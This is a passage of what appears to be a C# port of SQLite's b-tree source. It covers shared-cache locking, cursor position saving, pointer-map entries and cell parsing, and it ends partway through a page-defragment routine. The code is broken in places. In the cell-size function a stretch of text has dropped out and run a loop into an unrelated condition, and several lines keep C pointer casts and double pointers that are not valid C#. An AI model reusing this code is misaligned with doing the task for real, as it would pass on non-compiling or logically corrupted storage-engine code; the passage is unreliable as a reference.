true immediately. If the client is reading ** or writing an index b-tree, but the schema is not loaded, then return ** true also. In this case the lock is required, but it is too difficult ** to check if the client actually holds it. This doesn't happen very ** often. */ if( (pBtree.sharable==null) || (eLockType==READ_LOCK && (pBtree.db.flags & SQLITE_ReadUncommitted)) || (isIndex && (!pSchema || (pSchema.flags&DB_SchemaLoaded)==null )) ){ return 1; } /* Figure out the root-page that the lock should be held on. For table ** b-trees, this is just the root page of the b-tree being read or ** written. For index b-trees, it is the root page of the associated ** table. */ if( isIndex ){ HashElem p; for(p=sqliteHashFirst(pSchema.idxHash); p!=null; p=sqliteHashNext(p)){ Index pIdx = (Index *)sqliteHashData(p); if( pIdx.tnum==(int)iRoot ){ iTab = pIdx.pTable.tnum; } } }else{ iTab = iRoot; } /* Search for the required lock. Either a write-lock on root-page iTab, a ** write-lock on the schema table, or (if the client is reading) a ** read-lock on iTab will suffice. Return 1 if any of these are found. */ for(pLock=pBtree.pBt.pLock; pLock; pLock=pLock.pNext){ if( pLock.pBtree==pBtree && (pLock.iTable==iTab || (pLock.eLock==WRITE_LOCK && pLock.iTable==1)) && pLock.eLock>=eLockType ){ return 1; } } /* Failed to find the required lock. */ return 0; } /* ** This function is also used as part of Debug.Assert() statements only. It ** returns true if there exist one or more cursors open on the table ** with root page iRoot that do not belong to either connection pBtree ** or some other connection that has the read-uncommitted flag set. ** ** For example, before writing to page iRoot: ** ** Debug.Assert( !hasReadConflicts(pBtree, iRoot) ); */ static int hasReadConflicts(Btree pBtree, Pgno iRoot){ BtCursor p; for(p=pBtree.pBt.pCursor; p!=null; p=p.pNext){ if( p.pgnoRoot==iRoot && p.pBtree!=pBtree && 0==(p.pBtree.db.flags & SQLITE_ReadUncommitted) ){ return 1; } } return 0; } #endif //* #if SQLITE_DEBUG */ /* ** Query to see if btree handle p may obtain a lock of type eLock ** (READ_LOCK or WRITE_LOCK) on the table with root-page iTab. Return ** SQLITE_OK if the lock may be obtained (by calling ** setSharedCacheTableLock()), or SQLITE_LOCKED if not. */ static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock){ BtShared pBt = p.pBt; BtLock pIter; Debug.Assert( sqlite3BtreeHoldsMutex(p) ); Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); Debug.Assert( p.db!=null ); Debug.Assert( !(p.db.flags&SQLITE_ReadUncommitted)||eLock==WRITE_LOCK||iTab==1 ); /* If requesting a write-lock, then the Btree must have an open write ** transaction on this file. And, obviously, for this to be so there ** must be an open write transaction on the file itself. */ Debug.Assert( eLock==READ_LOCK || (p==pBt.pWriter && p.inTrans==TRANS_WRITE) ); Debug.Assert( eLock==READ_LOCK || pBt.inTransaction==TRANS_WRITE ); /* This is a no-op if the shared-cache is not enabled */ if( !p.sharable ){ return SQLITE_OK; } /* If some other connection is holding an exclusive lock, the ** requested lock may not be obtained. */ if( pBt.pWriter!=p && pBt.isExclusive ){ sqlite3ConnectionBlocked(p.db, pBt.pWriter.db); return SQLITE_LOCKED_SHAREDCACHE; } for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ /* The condition (pIter.eLock!=eLock) in the following if(...) ** statement is a simplification of: ** ** (eLock==WRITE_LOCK || pIter.eLock==WRITE_LOCK) ** ** since we know that if eLock==WRITE_LOCK, then no other connection ** may hold a WRITE_LOCK on any table in this file (since there can ** only be a single writer). */ Debug.Assert( pIter.eLock==READ_LOCK || pIter.eLock==WRITE_LOCK ); Debug.Assert( eLock==READ_LOCK || pIter.pBtree==p || pIter.eLock==READ_LOCK); if( pIter.pBtree!=p && pIter.iTable==iTab && pIter.eLock!=eLock ){ sqlite3ConnectionBlocked(p.db, pIter.pBtree.db); if( eLock==WRITE_LOCK ){ Debug.Assert( p==pBt.pWriter ); pBt.isPending = 1; } return SQLITE_LOCKED_SHAREDCACHE; } } return SQLITE_OK; } #endif //* !SQLITE_OMIT_SHARED_CACHE */ #if !SQLITE_OMIT_SHARED_CACHE /* ** Add a lock on the table with root-page iTable to the shared-btree used ** by Btree handle p. Parameter eLock must be either READ_LOCK or ** WRITE_LOCK. ** ** This function assumes the following: ** ** (a) The specified b-tree connection handle is connected to a sharable ** b-tree database (one with the BtShared.sharable) flag set, and ** ** (b) No other b-tree connection handle holds a lock that conflicts ** with the requested lock (i.e. querySharedCacheTableLock() has ** already been called and returned SQLITE_OK). ** ** SQLITE_OK is returned if the lock is added successfully. SQLITE_NOMEM ** is returned if a malloc attempt fails. */ static int setSharedCacheTableLock(Btree p, Pgno iTable, u8 eLock){ BtShared pBt = p.pBt; BtLock pLock = 0; BtLock pIter; Debug.Assert( sqlite3BtreeHoldsMutex(p) ); Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); Debug.Assert( p.db!=null ); /* A connection with the read-uncommitted flag set will never try to ** obtain a read-lock using this function. The only read-lock obtained ** by a connection in read-uncommitted mode is on the sqlite_master ** table, and that lock is obtained in BtreeBeginTrans(). */ Debug.Assert( 0==(p.db.flags&SQLITE_ReadUncommitted) || eLock==WRITE_LOCK ); /* This function should only be called on a sharable b-tree after it ** has been determined that no other b-tree holds a conflicting lock. */ Debug.Assert( p.sharable ); Debug.Assert( SQLITE_OK==querySharedCacheTableLock(p, iTable, eLock) ); /* First search the list for an existing lock on this table. */ for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ if( pIter.iTable==iTable && pIter.pBtree==p ){ pLock = pIter; break; } } /* If the above search did not find a BtLock struct associating Btree p ** with table iTable, allocate one and link it into the list. */ if( !pLock ){ pLock = (BtLock *)sqlite3MallocZero(sizeof(BtLock)); if( !pLock ){ return SQLITE_NOMEM; } pLock.iTable = iTable; pLock.pBtree = p; pLock.pNext = pBt.pLock; pBt.pLock = pLock; } /* Set the BtLock.eLock variable to the maximum of the current lock ** and the requested lock. This means if a write-lock was already held ** and a read-lock requested, we don't incorrectly downgrade the lock. */ Debug.Assert( WRITE_LOCK>READ_LOCK ); if( eLock>pLock.eLock ){ pLock.eLock = eLock; } return SQLITE_OK; } #endif //* !SQLITE_OMIT_SHARED_CACHE */ #if !SQLITE_OMIT_SHARED_CACHE /* ** Release all the table locks (locks obtained via calls to ** the setSharedCacheTableLock() procedure) held by Btree handle p. ** ** This function assumes that handle p has an open read or write ** transaction. If it does not, then the BtShared.isPending variable ** may be incorrectly cleared. */ static void clearAllSharedCacheTableLocks(Btree p){ BtShared pBt = p.pBt; BtLock **ppIter = &pBt.pLock; Debug.Assert( sqlite3BtreeHoldsMutex(p) ); Debug.Assert( p.sharable || 0==*ppIter ); Debug.Assert( p.inTrans>0 ); while( ppIter ){ BtLock pLock = ppIter; Debug.Assert( pBt.isExclusive==null || pBt.pWriter==pLock.pBtree ); Debug.Assert( pLock.pBtree.inTrans>=pLock.eLock ); if( pLock.pBtree==p ){ ppIter = pLock.pNext; Debug.Assert( pLock.iTable!=1 || pLock==&p.lock ); if( pLock.iTable!=1 ){ pLock=null;//sqlite3_free(ref pLock); } }else{ ppIter = &pLock.pNext; } } Debug.Assert( pBt.isPending==null || pBt.pWriter ); if( pBt.pWriter==p ){ pBt.pWriter = 0; pBt.isExclusive = 0; pBt.isPending = 0; }else if( pBt.nTransaction==2 ){ /* This function is called when connection p is concluding its ** transaction. If there currently exists a writer, and p is not ** that writer, then the number of locks held by connections other ** than the writer must be about to drop to zero. In this case ** set the isPending flag to 0. ** ** If there is not currently a writer, then BtShared.isPending must ** be zero already. So this next line is harmless in that case. */ pBt.isPending = 0; } } /* ** This function changes all write-locks held by connection p to read-locks. */ static void downgradeAllSharedCacheTableLocks(Btree p){ BtShared pBt = p.pBt; if( pBt.pWriter==p ){ BtLock pLock; pBt.pWriter = 0; pBt.isExclusive = 0; pBt.isPending = 0; for(pLock=pBt.pLock; pLock; pLock=pLock.pNext){ Debug.Assert( pLock.eLock==READ_LOCK || pLock.pBtree==p ); pLock.eLock = READ_LOCK; } } } #endif //* SQLITE_OMIT_SHARED_CACHE */ //static void releasePage(MemPage pPage); /* Forward reference */ /* ** Verify that the cursor holds a mutex on the BtShared */ #if !NDEBUG static bool cursorHoldsMutex(BtCursor p) { return sqlite3_mutex_held(p.pBt.mutex); } #else static bool cursorHoldsMutex(BtCursor p) { return true; } #endif #if !SQLITE_OMIT_INCRBLOB /* ** Invalidate the overflow page-list cache for cursor pCur, if any. */ static void invalidateOverflowCache(BtCursor pCur){ Debug.Assert( cursorHoldsMutex(pCur) ); //sqlite3_free(ref pCur.aOverflow); pCur.aOverflow = null; } /* ** Invalidate the overflow page-list cache for all cursors opened ** on the shared btree structure pBt. */ static void invalidateAllOverflowCache(BtShared pBt){ BtCursor p; Debug.Assert( sqlite3_mutex_held(pBt.mutex) ); for(p=pBt.pCursor; p!=null; p=p.pNext){ invalidateOverflowCache(p); } } /* ** This function is called before modifying the contents of a table ** b-tree to invalidate any incrblob cursors that are open on the ** row or one of the rows being modified. ** ** If argument isClearTable is true, then the entire contents of the ** table is about to be deleted. In this case invalidate all incrblob ** cursors open on any row within the table with root-page pgnoRoot. ** ** Otherwise, if argument isClearTable is false, then the row with ** rowid iRow is being replaced or deleted. In this case invalidate ** only those incrblob cursors open on this specific row. */ static void invalidateIncrblobCursors( Btree pBtree, /* The database file to check */ i64 iRow, /* The rowid that might be changing */ int isClearTable /* True if all rows are being deleted */ ){ BtCursor p; BtShared pBt = pBtree.pBt; Debug.Assert( sqlite3BtreeHoldsMutex(pBtree) ); for(p=pBt.pCursor; p!=null; p=p.pNext){ if( p.isIncrblobHandle && (isClearTable || p.info.nKey==iRow) ){ p.eState = CURSOR_INVALID; } } } #else //#define invalidateOverflowCache(x) static void invalidateOverflowCache(BtCursor pCur) { } //#define invalidateAllOverflowCache(x) static void invalidateAllOverflowCache(BtShared pBt) { } //#define invalidateIncrblobCursors(x,y,z) static void invalidateIncrblobCursors(Btree x, i64 y, int z) { } #endif /* ** Set bit pgno of the BtShared.pHasContent bitvec. This is called ** when a page that previously contained data becomes a free-list leaf ** page. ** ** The BtShared.pHasContent bitvec exists to work around an obscure ** bug caused by the interaction of two useful IO optimizations surrounding ** free-list leaf pages: ** ** 1) When all data is deleted from a page and the page becomes ** a free-list leaf page, the page is not written to the database ** (as free-list leaf pages contain no meaningful data). Sometimes ** such a page is not even journalled (as it will not be modified, ** why bother journalling it?). ** ** 2) When a free-list leaf page is reused, its content is not read ** from the database or written to the journal file (why should it ** be, if it is not at all meaningful?). ** ** By themselves, these optimizations work fine and provide a handy ** performance boost to bulk delete or insert operations. However, if ** a page is moved to the free-list and then reused within the same ** transaction, a problem comes up. If the page is not journalled when ** it is moved to the free-list and it is also not journalled when it ** is extracted from the free-list and reused, then the original data ** may be lost. In the event of a rollback, it may not be possible ** to restore the database to its original configuration. ** ** The solution is the BtShared.pHasContent bitvec. Whenever a page is ** moved to become a free-list leaf page, the corresponding bit is ** set in the bitvec. Whenever a leaf page is extracted from the free-list, ** optimization 2 above is ommitted if the corresponding bit is already ** set in BtShared.pHasContent. The contents of the bitvec are cleared ** at the end of every transaction. */ static int btreeSetHasContent(BtShared pBt, Pgno pgno) { int rc = SQLITE_OK; if (null == pBt.pHasContent) { int nPage = 100; sqlite3PagerPagecount(pBt.pPager, ref nPage); /* If sqlite3PagerPagecount() fails there is no harm because the ** nPage variable is unchanged from its default value of 100 */ pBt.pHasContent = sqlite3BitvecCreate((u32)nPage); if (null == pBt.pHasContent) { rc = SQLITE_NOMEM; } } if (rc == SQLITE_OK && pgno <= sqlite3BitvecSize(pBt.pHasContent)) { rc = sqlite3BitvecSet(pBt.pHasContent, pgno); } return rc; } /* ** Query the BtShared.pHasContent vector. ** ** This function is called when a free-list leaf page is removed from the ** free-list for reuse. It returns false if it is safe to retrieve the ** page from the pager layer with the 'no-content' flag set. True otherwise. */ static bool btreeGetHasContent(BtShared pBt, Pgno pgno) { Bitvec p = pBt.pHasContent; return (p != null && (pgno > sqlite3BitvecSize(p) || sqlite3BitvecTest(p, pgno) != 0)); } /* ** Clear (destroy) the BtShared.pHasContent bitvec. This should be ** invoked at the conclusion of each write-transaction. */ static void btreeClearHasContent(BtShared pBt) { sqlite3BitvecDestroy(ref pBt.pHasContent); pBt.pHasContent = null; } /* ** Save the current cursor position in the variables BtCursor.nKey ** and BtCursor.pKey. The cursor's state is set to CURSOR_REQUIRESEEK. ** ** The caller must ensure that the cursor is valid (has eState==CURSOR_VALID) ** prior to calling this routine. */ static int saveCursorPosition(BtCursor pCur) { int rc; Debug.Assert(CURSOR_VALID == pCur.eState); Debug.Assert(null == pCur.pKey); Debug.Assert(cursorHoldsMutex(pCur)); rc = sqlite3BtreeKeySize(pCur, ref pCur.nKey); Debug.Assert(rc == SQLITE_OK); /* KeySize() cannot fail */ /* If this is an intKey table, then the above call to BtreeKeySize() ** stores the integer key in pCur.nKey. In this case this value is ** all that is required. Otherwise, if pCur is not open on an intKey ** table, then malloc space for and store the pCur.nKey bytes of key ** data. */ if (0 == pCur.apPage[0].intKey) { byte[] pKey = new byte[pCur.nKey];//void pKey = sqlite3Malloc( (int)pCur.nKey ); //if( pKey !=null){ rc = sqlite3BtreeKey(pCur, 0, (u32)pCur.nKey, pKey); if (rc == SQLITE_OK) { pCur.pKey = pKey; } //else{ // sqlite3_free(ref pKey); //} //}else{ // rc = SQLITE_NOMEM; //} } Debug.Assert(0 == pCur.apPage[0].intKey || null == pCur.pKey); if (rc == SQLITE_OK) { int i; for (i = 0; i <= pCur.iPage; i++) { releasePage(pCur.apPage[i]); pCur.apPage[i] = null; } pCur.iPage = -1; pCur.eState = CURSOR_REQUIRESEEK; } invalidateOverflowCache(pCur); return rc; } /* ** Save the positions of all cursors except pExcept open on the table ** with root-page iRoot. Usually, this is called just before cursor ** pExcept is used to modify the table (BtreeDelete() or BtreeInsert()). */ static int saveAllCursors(BtShared pBt, Pgno iRoot, BtCursor pExcept) { BtCursor p; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(pExcept == null || pExcept.pBt == pBt); for (p = pBt.pCursor; p != null; p = p.pNext) { if (p != pExcept && (0 == iRoot || p.pgnoRoot == iRoot) && p.eState == CURSOR_VALID) { int rc = saveCursorPosition(p); if (SQLITE_OK != rc) { return rc; } } } return SQLITE_OK; } /* ** Clear the current cursor position. */ static void sqlite3BtreeClearCursor(BtCursor pCur) { Debug.Assert(cursorHoldsMutex(pCur)); //sqlite3_free(ref pCur.pKey); pCur.pKey = null; pCur.eState = CURSOR_INVALID; } /* ** In this version of BtreeMoveto, pKey is a packed index record ** such as is generated by the OP_MakeRecord opcode. Unpack the ** record and then call BtreeMovetoUnpacked() to do the work. */ static int btreeMoveto( BtCursor pCur, /* Cursor open on the btree to be searched */ byte[] pKey, /* Packed key if the btree is an index */ i64 nKey, /* Integer key for tables. Size of pKey for indices */ int bias, /* Bias search to the high end */ ref int pRes /* Write search results here */ ) { int rc; /* Status code */ UnpackedRecord pIdxKey; /* Unpacked index key */ UnpackedRecord aSpace = new UnpackedRecord();//char aSpace[150]; /* Temp space for pIdxKey - to avoid a malloc */ if (pKey != null) { Debug.Assert(nKey == (i64)(int)nKey); pIdxKey = sqlite3VdbeRecordUnpack(pCur.pKeyInfo, (int)nKey, pKey, aSpace, 16);//sizeof( aSpace ) ); if (pIdxKey == null) return SQLITE_NOMEM; } else { pIdxKey = null; } rc = sqlite3BtreeMovetoUnpacked(pCur, pIdxKey, nKey, bias != 0 ? 1 : 0, ref pRes); if (pKey != null) { sqlite3VdbeDeleteUnpackedRecord(pIdxKey); } return rc; } /* ** Restore the cursor to the position it was in (or as close to as possible) ** when saveCursorPosition() was called. Note that this call deletes the ** saved position info stored by saveCursorPosition(), so there can be ** at most one effective restoreCursorPosition() call after each ** saveCursorPosition(). */ static int btreeRestoreCursorPosition(BtCursor pCur) { int rc; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState >= CURSOR_REQUIRESEEK); if (pCur.eState == CURSOR_FAULT) { return pCur.skipNext; } pCur.eState = CURSOR_INVALID; rc = btreeMoveto(pCur, pCur.pKey, pCur.nKey, 0, ref pCur.skipNext); if (rc == SQLITE_OK) { //sqlite3_free(ref pCur.pKey); pCur.pKey = null; Debug.Assert(pCur.eState == CURSOR_VALID || pCur.eState == CURSOR_INVALID); } return rc; } //#define restoreCursorPosition(p) \ // (p.eState>=CURSOR_REQUIRESEEK ? \ // btreeRestoreCursorPosition(p) : \ // SQLITE_OK) static int restoreCursorPosition(BtCursor pCur) { if ( pCur.eState >= CURSOR_REQUIRESEEK ) return btreeRestoreCursorPosition( pCur ); else return SQLITE_OK; } /* ** Determine whether or not a cursor has moved from the position it ** was last placed at. Cursors can move when the row they are pointing ** at is deleted out from under them. ** ** This routine returns an error code if something goes wrong. The ** integer pHasMoved is set to one if the cursor has moved and 0 if not. */ static int sqlite3BtreeCursorHasMoved(BtCursor pCur, ref int pHasMoved) { int rc; rc = restoreCursorPosition(pCur); if (rc != 0) { pHasMoved = 1; return rc; } if (pCur.eState != CURSOR_VALID || pCur.skipNext != 0) { pHasMoved = 1; } else { pHasMoved = 0; } return SQLITE_OK; } #if !SQLITE_OMIT_AUTOVACUUM /* ** Given a page number of a regular database page, return the page ** number for the pointer-map page that contains the entry for the ** input page number. */ static Pgno ptrmapPageno(BtShared pBt, Pgno pgno) { int nPagesPerMapPage; Pgno iPtrMap, ret; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); nPagesPerMapPage = (pBt.usableSize / 5) + 1; iPtrMap = (Pgno)((pgno - 2) / nPagesPerMapPage); ret = (Pgno)( iPtrMap * nPagesPerMapPage ) + 2; if (ret == PENDING_BYTE_PAGE(pBt)) { ret++; } return ret; } /* ** Write an entry into the pointer map. ** ** This routine updates the pointer map entry for page number 'key' ** so that it maps to type 'eType' and parent page number 'pgno'. ** ** If pRC is initially non-zero (non-SQLITE_OK) then this routine is ** a no-op. If an error occurs, the appropriate error code is written ** into pRC. */ static void ptrmapPut(BtShared pBt, Pgno key, u8 eType, Pgno parent, ref int pRC) { DbPage pDbPage = new PgHdr(); /* The pointer map page */ u8[] pPtrmap; /* The pointer map data */ Pgno iPtrmap; /* The pointer map page number */ int offset; /* Offset in pointer map page */ int rc; /* Return code from subfunctions */ if (pRC != 0) return; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); /* The master-journal page number must never be used as a pointer map page */ Debug.Assert(false == PTRMAP_ISPAGE(pBt, PENDING_BYTE_PAGE(pBt))); Debug.Assert(pBt.autoVacuum); if (key == 0) { #if SQLITE_DEBUG || DEBUG pRC = SQLITE_CORRUPT_BKPT(); #else pRC = SQLITE_CORRUPT_BKPT; #endif return; } iPtrmap = PTRMAP_PAGENO(pBt, key); rc = sqlite3PagerGet(pBt.pPager, iPtrmap, ref pDbPage); if (rc != SQLITE_OK) { pRC = rc; return; } offset = (int)PTRMAP_PTROFFSET(iPtrmap, key); if (offset < 0) { #if SQLITE_DEBUG || DEBUG pRC = SQLITE_CORRUPT_BKPT(); #else pRC = SQLITE_CORRUPT_BKPT; #endif goto ptrmap_exit; } pPtrmap = sqlite3PagerGetData(pDbPage); if (eType != pPtrmap[offset] || sqlite3Get4byte(pPtrmap, offset + 1) != parent) { TRACE("PTRMAP_UPDATE: %d->(%d,%d)\n", key, eType, parent); pRC = rc = sqlite3PagerWrite(pDbPage); if (rc == SQLITE_OK) { pPtrmap[offset] = eType; sqlite3Put4byte(pPtrmap, offset + 1, parent); } } ptrmap_exit: sqlite3PagerUnref(pDbPage); } /* ** Read an entry from the pointer map. ** ** This routine retrieves the pointer map entry for page 'key', writing ** the type and parent page number to pEType and pPgno respectively. ** An error code is returned if something goes wrong, otherwise SQLITE_OK. */ static int ptrmapGet(BtShared pBt, Pgno key, ref u8 pEType, ref Pgno pPgno) { DbPage pDbPage = new PgHdr();/* The pointer map page */ int iPtrmap; /* Pointer map page index */ u8[] pPtrmap; /* Pointer map page data */ int offset; /* Offset of entry in pointer map */ int rc; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); iPtrmap = (int)PTRMAP_PAGENO(pBt, key); rc = sqlite3PagerGet(pBt.pPager, (u32)iPtrmap, ref pDbPage); if (rc != 0) { return rc; } pPtrmap = sqlite3PagerGetData(pDbPage); offset = (int)PTRMAP_PTROFFSET((u32)iPtrmap, key); // Under C# pEType will always exist. No need to test; // //Debug.Assert( pEType != 0 ); pEType = pPtrmap[offset]; // Under C# pPgno will always exist. No need to test; // //if ( pPgno != 0 ) pPgno = sqlite3Get4byte(pPtrmap, offset + 1); sqlite3PagerUnref(pDbPage); if (pEType < 1 || pEType > 5) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif return SQLITE_OK; } #else //* if defined SQLITE_OMIT_AUTOVACUUM */ //#define ptrmapPut(w,x,y,z,rc) //#define ptrmapGet(w,x,y,z) SQLITE_OK //#define ptrmapPutOvflPtr(x, y, rc) #endif /* ** Given a btree page and a cell index (0 means the first cell on ** the page, 1 means the second cell, and so forth) return a pointer ** to the cell content. ** ** This routine works only for pages that do not contain overflow cells. */ //#define findCell(P,I) \ // ((P).aData + ((P).maskPage & get2byte((P).aData[(P).cellOffset+2*(I)]))) static int findCell(MemPage pPage, int iCell) { return get2byte(pPage.aData, (pPage).cellOffset + 2 * (iCell)); } /* ** This a more complex version of findCell() that works for ** pages that do contain overflow cells. */ static int findOverflowCell(MemPage pPage, int iCell) { int i; Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); for (i = pPage.nOverflow - 1; i >= 0; i--) { int k; _OvflCell pOvfl; pOvfl = pPage.aOvfl[i]; k = pOvfl.idx; if (k <= iCell) { if (k == iCell) { //return pOvfl.pCell; return -i - 1; // Negative Offset means overflow cells } iCell--; } } return findCell(pPage, iCell); } /* ** Parse a cell content block and fill in the CellInfo structure. There ** are two versions of this function. btreeParseCell() takes a ** cell index as the second argument and btreeParseCellPtr() ** takes a pointer to the body of the cell as its second argument. ** ** Within this file, the parseCell() macro can be called instead of ** btreeParseCellPtr(). Using some compilers, this will be faster. */ //OVERLOADS static void btreeParseCellPtr( MemPage pPage, /* Page containing the cell */ int iCell, /* Pointer to the cell text. */ ref CellInfo pInfo /* Fill in this structure */ ) { btreeParseCellPtr(pPage, pPage.aData, iCell, ref pInfo); } static void btreeParseCellPtr( MemPage pPage, /* Page containing the cell */ byte[] pCell, /* The actual data */ ref CellInfo pInfo /* Fill in this structure */ ) { btreeParseCellPtr( pPage, pCell, 0, ref pInfo ); } static void btreeParseCellPtr( MemPage pPage, /* Page containing the cell */ u8[] pCell, /* Pointer to the cell text. */ int iCell, /* Pointer to the cell text. */ ref CellInfo pInfo /* Fill in this structure */ ) { u16 n; /* Number bytes in cell content header */ u32 nPayload = 0; /* Number of bytes of cell payload */ Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); pInfo.pCell = pCell; pInfo.iCell = iCell; Debug.Assert(pPage.leaf == 0 || pPage.leaf == 1); n = pPage.childPtrSize; Debug.Assert(n == 4 - 4 * pPage.leaf); if (pPage.intKey != 0) { if (pPage.hasData != 0) { n += (u16)getVarint32(pCell, iCell + n, ref nPayload); } else { nPayload = 0; } n += (u16)getVarint(pCell, iCell + n, ref pInfo.nKey); pInfo.nData = nPayload; } else { pInfo.nData = 0; n += (u16)getVarint32(pCell, iCell + n, ref nPayload); pInfo.nKey = nPayload; } pInfo.nPayload = nPayload; pInfo.nHeader = n; testcase(nPayload == pPage.maxLocal); testcase(nPayload == pPage.maxLocal + 1); if (likely(nPayload <= pPage.maxLocal)) { /* This is the (easy) common case where the entire payload fits ** on the local page. No overflow is required. */ int nSize; /* Total size of cell content in bytes */ nSize = (int)nPayload + n; pInfo.nLocal = (u16)nPayload; pInfo.iOverflow = 0; if ((nSize & ~3) == 0) { nSize = 4; /* Minimum cell size is 4 */ } pInfo.nSize = (u16)nSize; } else { /* If the payload will not fit completely on the local page, we have ** to decide how much to store locally and how much to spill onto ** overflow pages. The strategy is to minimize the amount of unused ** space on overflow pages while keeping the amount of local storage ** in between minLocal and maxLocal. ** ** Warning: changing the way overflow payload is distributed in any ** way will result in an incompatible file format. */ int minLocal; /* Minimum amount of payload held locally */ int maxLocal; /* Maximum amount of payload held locally */ int surplus; /* Overflow payload available for local storage */ minLocal = pPage.minLocal; maxLocal = pPage.maxLocal; surplus = (int)(minLocal + (nPayload - minLocal) % (pPage.pBt.usableSize - 4)); testcase(surplus == maxLocal); testcase(surplus == maxLocal + 1); if (surplus <= maxLocal) { pInfo.nLocal = (u16)surplus; } else { pInfo.nLocal = (u16)minLocal; } pInfo.iOverflow = (u16)(pInfo.nLocal + n); pInfo.nSize = (u16)(pInfo.iOverflow + 4); } } //#define parseCell(pPage, iCell, pInfo) \ // btreeParseCellPtr((pPage), findCell((pPage), (iCell)), (pInfo)) static void parseCell( MemPage pPage, int iCell, ref CellInfo pInfo ) { btreeParseCellPtr( ( pPage ), findCell( ( pPage ), ( iCell ) ), ref ( pInfo ) ); } static void btreeParseCell( MemPage pPage, /* Page containing the cell */ int iCell, /* The cell index. First cell is 0 */ ref CellInfo pInfo /* Fill in this structure */ ) { parseCell( pPage, iCell, ref pInfo ); } /* ** Compute the total number of bytes that a Cell needs in the cell ** data area of the btree-page. The return number includes the cell ** data header and the local payload, but not any overflow page or ** the space used by the cell pointer. */ // Alternative form for C# static u16 cellSizePtr(MemPage pPage, int iCell) { CellInfo info = new CellInfo(); byte[] pCell = new byte[13];// Minimum Size = (2 bytes of Header or (4) Child Pointer) + (maximum of) 9 bytes data if (iCell < 0)// Overflow Cell Buffer.BlockCopy(pPage.aOvfl[-(iCell + 1)].pCell, 0, pCell, 0, pCell.Length < pPage.aOvfl[-(iCell + 1)].pCell.Length ? pCell.Length : pPage.aOvfl[-(iCell + 1)].pCell.Length); else if (iCell >= pPage.aData.Length + 1 - pCell.Length) Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pPage.aData.Length - iCell); else Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pCell.Length); btreeParseCellPtr( pPage, pCell, ref info ); return info.nSize; } // Alternative form for C# static u16 cellSizePtr(MemPage pPage, byte[] pCell, int offset) { CellInfo info = new CellInfo(); byte[] pTemp = new byte[pCell.Length]; Buffer.BlockCopy(pCell, offset, pTemp, 0, pCell.Length - offset); btreeParseCellPtr( pPage, pTemp, ref info ); return info.nSize; } static u16 cellSizePtr(MemPage pPage, u8[] pCell) { int _pIter = pPage.childPtrSize; //u8 pIter = &pCell[pPage.childPtrSize]; u32 nSize = 0; #if SQLITE_DEBUG || DEBUG /* The value returned by this function should always be the same as ** the (CellInfo.nSize) value found by doing a full parse of the ** cell. If SQLITE_DEBUG is defined, an Debug.Assert() at the bottom of ** this function verifies that this invariant is not violated. */ CellInfo debuginfo = new CellInfo(); btreeParseCellPtr(pPage, pCell, ref debuginfo); #else CellInfo debuginfo = new CellInfo(); #endif if (pPage.intKey != 0) { int pEnd; if (pPage.hasData != 0) { _pIter += getVarint32(pCell, ref nSize);// pIter += getVarint32( pIter, ref nSize ); } else { nSize = 0; } /* pIter now points at the 64-bit integer key value, a variable length ** integer. The following block moves pIter to point at the first byte ** past the end of the key value. */ pEnd = _pIter + 9;//pEnd = &pIter[9]; while (((pCell[_pIter++]) & 0x80) != 0 && _pIter < pEnd) ;//while( (pIter++)&0x80 && pIter pPage.maxLocal) { int minLocal = pPage.minLocal; nSize = (u32)(minLocal + (nSize - minLocal) % (pPage.pBt.usableSize - 4)); testcase(nSize == pPage.maxLocal); testcase(nSize == pPage.maxLocal + 1); if (nSize > pPage.maxLocal) { nSize = (u32)minLocal; } nSize += 4; } nSize += (uint)_pIter;//nSize += (u32)(pIter - pCell); /* The minimum size of any cell is 4 bytes. */ if (nSize < 4) { nSize = 4; } Debug.Assert(nSize == debuginfo.nSize); return (u16)nSize; } #if !NDEBUG || DEBUG static u16 cellSize(MemPage pPage, int iCell) { return cellSizePtr(pPage, findCell(pPage, iCell)); } #else static int cellSize(MemPage pPage, int iCell) { return -1; } #endif #if !SQLITE_OMIT_AUTOVACUUM /* ** If the cell pCell, part of page pPage contains a pointer ** to an overflow page, insert an entry into the pointer-map ** for the overflow page. */ static void ptrmapPutOvflPtr(MemPage pPage, int pCell, ref int pRC) { if (pRC != 0) return; CellInfo info = new CellInfo(); Debug.Assert(pCell != 0); btreeParseCellPtr( pPage, pCell, ref info ); Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload); if (info.iOverflow != 0) { Pgno ovfl = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow); ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC); } } static void ptrmapPutOvflPtr(MemPage pPage, u8[] pCell, ref int pRC) { if (pRC != 0) return; CellInfo info = new CellInfo(); Debug.Assert(pCell != null); btreeParseCellPtr( pPage, pCell, ref info ); Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload); if (info.iOverflow != 0) { Pgno ovfl = sqlite3Get4byte(pCell, info.iOverflow); ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC); } } #endif /* ** Defragment the page given. All Cells are moved to the ** end of the page and all free space is collected into one ** big FreeBlk that occurs in between the header and cell ** pointer array and the cell content area. */ static int defragmentPage(MemPage pPage) { int i; /* Loop counter */ int pc; /* Address of a i-th cell */ int addr; /* Offset of first byte after cell pointer array */ int hdr; /* Offset to the page header */ int size; /* Size of a cell */ int usableSize; /* Number of usable bytes on a page */ int cellOffset; /* Offset to the cell pointer array */ int cbrk; /* Offset to the cell content area */ int nCell; /* Number of cells on the page */ byte[] data; /* The page data */ byte[] temp; /* Temp area for cell content */ int 